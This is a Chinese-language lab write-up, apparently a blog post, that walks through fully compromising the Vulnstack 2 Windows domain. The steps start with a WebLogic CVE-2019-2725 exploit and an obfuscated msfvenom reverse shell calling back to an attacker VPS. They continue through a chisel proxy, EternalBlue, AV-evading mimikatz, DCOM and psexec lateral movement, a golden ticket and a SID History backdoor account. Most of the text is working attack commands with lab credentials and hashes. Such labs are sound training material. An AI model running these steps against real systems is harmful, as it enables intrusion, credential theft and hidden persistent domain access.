在上一节《记一次Vulnstack靶场内网渗透(二)》中,我们简单的对vulnstack 4的靶场环境做了一次测试,通过外网初探、信息收集、攻入内网最终拿下域控。在本节中,我们将对vulnstack 2这个靶场进行渗透测试。靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
本次靶场环境主要包括Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。
Bypass UAC
Windows系统NTLM获取
Access Token利用(MSSQL利用)
WMI利用
网页代理,二层代理,特殊协议代理
域内信息收集
域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
域凭证收集
后门技术(黄金票据、白银票据、Sid History、MOF)
域控服务器:
内网IP:10.10.10.10
系统:Windows Server 2012(64位)
用户名:de1ay
WEB服务器:
模拟外网IP:192.168.1.8
内网IP:10.10.10.80
系统:Windows Server 2008(64位)
用户名:
PC域内主机:
内网IP:10.10.10.201
系统:Windows 7(32位)
用户名:
攻击者VPS:
模拟外网IP:192.168.1.7
系统:Linux
Web服务器有两个网卡,一个网卡连接外网,对外提供web服务,另一个网卡连接内网。域成员主机Windows 7和域控制器位于内网,域成员主机可以没有公网IP但能上网,域控制器只能与内网连通,不能与外网通信。
我们已知Web服务器的公网IP为192.168.1.8(模拟),所以,我们先对其Web服务器进行端口扫描:
nmap -T4 -sC -sV 192.168.1.8
发现目标主机上开放1433端口和7001端口,分别运行着Mssql和Weblogic服务,我们先从7001端口上的Weblogic下手。
访问目标WebLogic服务器控制台:
发现WebLogic的版本是10.3.6.0,用Weblogic一键漏洞检测工具一把梭,该工具提供WebLogic一键poc检测,收录几乎全部weblogic历史漏洞:
存在的漏洞还真不少。先试试CVE-2019-2725,我们在metasploit上找到了该漏洞的利用模块:
但是该模块所携带的payload是针对unix环境的,在windows的环境自然没办法反弹回meterpreter。找遍全网,我找到了如下解决方法:去 exploit-db下载这个exploit脚本,然后攻击者使用如下命令生成一个powershell格式的木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f psh-cmd > shell.ps1
用著名的APT32组织海莲花常用的一个工具Invoke-Obfuscation对生成的shell.ps1做一下简单的免杀。
然后将刚下载的exploit脚本中的exploit变量替换为生成的shell.ps1脚本中的内容。然后在msfconsole中设置好监听:
然后执行exploit脚本:
python3 exploit.py http://192.168.1.8:7001/_async/AsyncResponseServiceHttps
执行后,msfconsole成功得到目标主机的meterpreter,并且为管理员权限:
拿到了目标Web服务器的权限后,我们开始对目标主机及其所在的网络环境进行信息收集。
systeminfo ? ?// 查看操作系统信息
echo %PROCESSOR_ARCHITECTURE% ? ?// 查看系统体系结构
ipconfig /all ? ? ? ? ? ? ?// 查询本机IP段,所在域等
whoami ? // 查看当前用户、权限
net user ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? // 查看本地用户
net localgroup administrators ? ? ? ? ? // 查看本地管理员组(通常包含域用户)
综上可知目标Web服务器主机的操作系统为Windows Server 2008,具有两个网卡分别连通192.168.1.1/24和10.10.10.1/24两个网段。
### 域内信息收集
net config workstation ? ? // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain ? ? ? ? ? ? ?// 查看域
net time /domain ? ? ? ? ? // 主域服务器会同时作为时间服务器
net user /domain ? ? ?// 查看域用户
net group /domain ? ? // 查看域内用户组列表
net group "domain computers" /domain ? ? ?// 查看域内的机器
net group "domain controllers" /domain ? ? ? ? ?// 查看域控制器组
net group "Enterprise Admins" /domain ? ?// 查看域管理员组
从收集的信息可知,目标主机所在的网络存在域环境,域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC,域管理员为Administrator。
我们先使用socks代理工具chisel在目标主机WEB的1090端口上搭建一个socks5代理服务。
在目标主机上传Windows版的chisel,然后执行如下命令启动socks5代理服务器:
start /b chisel.exe server -p 1090 --socks5
?
// start /b为后台运行
攻击机执行如下命令启动socks5客户端:
nohup https://www.freebuf.com/articles/network/chisel_for_linux64 client 192.168.1.8:1090 socks &
如下图,成功在攻击机上面的1080端口开启了一个socks5监听:
然后再配置攻击机的代理工具proxychains4:
vim /etc/proxychains4.conf
此时,我们攻击机上的应用程序就可以通过proxychains4代理进目标内网了。探测目标内网的主机存活:
proxychains4 nmap -A -F -sT -Pn 10.10.10.1/24 > nmap_res.txt ?
-Pn和-sT必须要加上,否则扫描失败
通过扫描发现,内网中还存在10.10.10.10和10.10.10.201这两台主机,对应的主机名分别为DC和PC。
既然是攻击内网,我们当然少不了试试永恒之蓝了,在msfconsole里面执行,把msf代理进内网(也可以添加路由):
扫描目标内网中存在ms17_010的主机:
发现两个主机都存在漏洞,先打尝试那个PC(10.10.10.201):
setg Proxies socks5:127.0.0.1:1080 ? ? ? // 预先设置好代理
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.201
set lport 4444
set AutoRunScript post/windows/manage/migrate ? ? ? ? ? ? // 自动迁移进程
run
失败了,又尝试了一下DC,好家伙,直接蓝屏了,只能走别的路了。在WEB主机上用mimikatz抓一下域用户的密码,为了能绕过360,我们要对mimikatz进行免杀,使用Tide安全团队的系列文章《远控免杀专题》中的msf加载bin的方法,需要用到 Donut和 shellcode_inject.rb。
首先使用Donut对需要执行的文件进行shellcode生成,这里对mimikatz进行shellcode生成,生成bin文件mimi.bin,等下会用到:
https://www.freebuf.com/articles/network/donut -f 1 mimikatz.exe -a 2 -o mimi.bin
然后将上面的 shellcode_inject.rb 放入目录下,然后进入msfconsole,执行载入所有模块。
此时,我们便可以使用刚才载入的shellcode_inject模块来将mimi.bin注入执行了:
use post/windows/manage/shellcode_inject
set session 2
set shellcode /root/mimi.bin
set CHANNELIZED true
set INTERACTIVE true ? ?// 这两个一定要设为true,不然无交互式界面。
run
最后成功加载了mimikatz:
成功抓取到administrator、de1ay、mssql这三个域用户的密码,皆为1qaz@WSX:
有了用户名和密码,拿下PC和域控就简单多了。
我们先控制WEB主机与PC建立一个ipc$连接:
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator
然后,我们新生成一个msf木马shell2.exe并稍做免杀,上传到WEB主机上,然后在WEB主机上执行如下命令,将木马复制到远程主机PC上:
copy shell2.exe \\10.10.10.201\c$
然后再meterpreter中载入powershell模块:
load powershell ? ? // 载入powershell模块
powershell_shell ? ?// 进入powershell交互模式
在powershell里面执行如下命令,控制WEB主机使用DCOM在远程机器PC上执行刚刚上传到PC主机C盘里的木马:
$com=[Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.201")
$obj=[System.Activator]::CreateInstance($com)
$item=$obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell2.exe","c:\windows\system32",$null,0)
如上图所示,成功执行PC主机C盘里的木马,并成功得到了PC主机的meterpreter。
经扫描,主机PC开放3389端口:
尝试登录PC远程桌面,成功:
直接利用msf的exploit/windows/smb/psexec模块进行哈希传递:
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set SMBUser administrator
set SMBPass 1qaz@WSX
run
成功拿下域控制器,并且是system权限:
假设又这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
首先,我们登上域控制器,像之前一样用shellcode_inject启动mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:
privilege::debug
lsadump::lsa /patch ? ? ? ?// 专用于在域控制器上导出用户密码或hash
如上图所示,我们得到krbtgt用户的Hash为:82dfc71b72a11ef37d663047bc2088fb,域sid为S-1-5-21-2756371121-2868759905-3853650604
然后,我们切换到普通域用户的WEB主机或PC主机,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):
kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:ticket.kirbi
?
# kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后再在mimikatz中将凭证ticket.kirbi注入进去:
kerberos::purge ? //先清空所有票据
kerberos::ptt ticket.kirbi ? ?//再将生成的票据注入域用户主机Windows7中
// kerberos::ptt <票据文件> ?
此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:
kerberos::tgt
到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用这台普通域用户的主机任意访问域控制器了,如下列出域控的C盘目录:
dir \\DC\c$
也可以使用psexec,wmi等方法通过WEB主机对DC进行远程执行命令了,具体操作不再演示。
在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
下面我们演示用mimikatz添加SID History后门的操作。
首先我们在域控制器上新建一个恶意用户“whoami”:
net user whoami Liu78963 /add
然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中。
privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator ? //将Administrator的SID添加到whoami的SID History属性中
注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。
然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory
如上图所示,whoami用户的SID History和administrator域管理员的sid相同,那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。
个人博客:https://whoamianony.top/
参考:
https://www.freebuf.com/articles/web/252963.html
https://www.freebuf.com/articles/network/251364.html?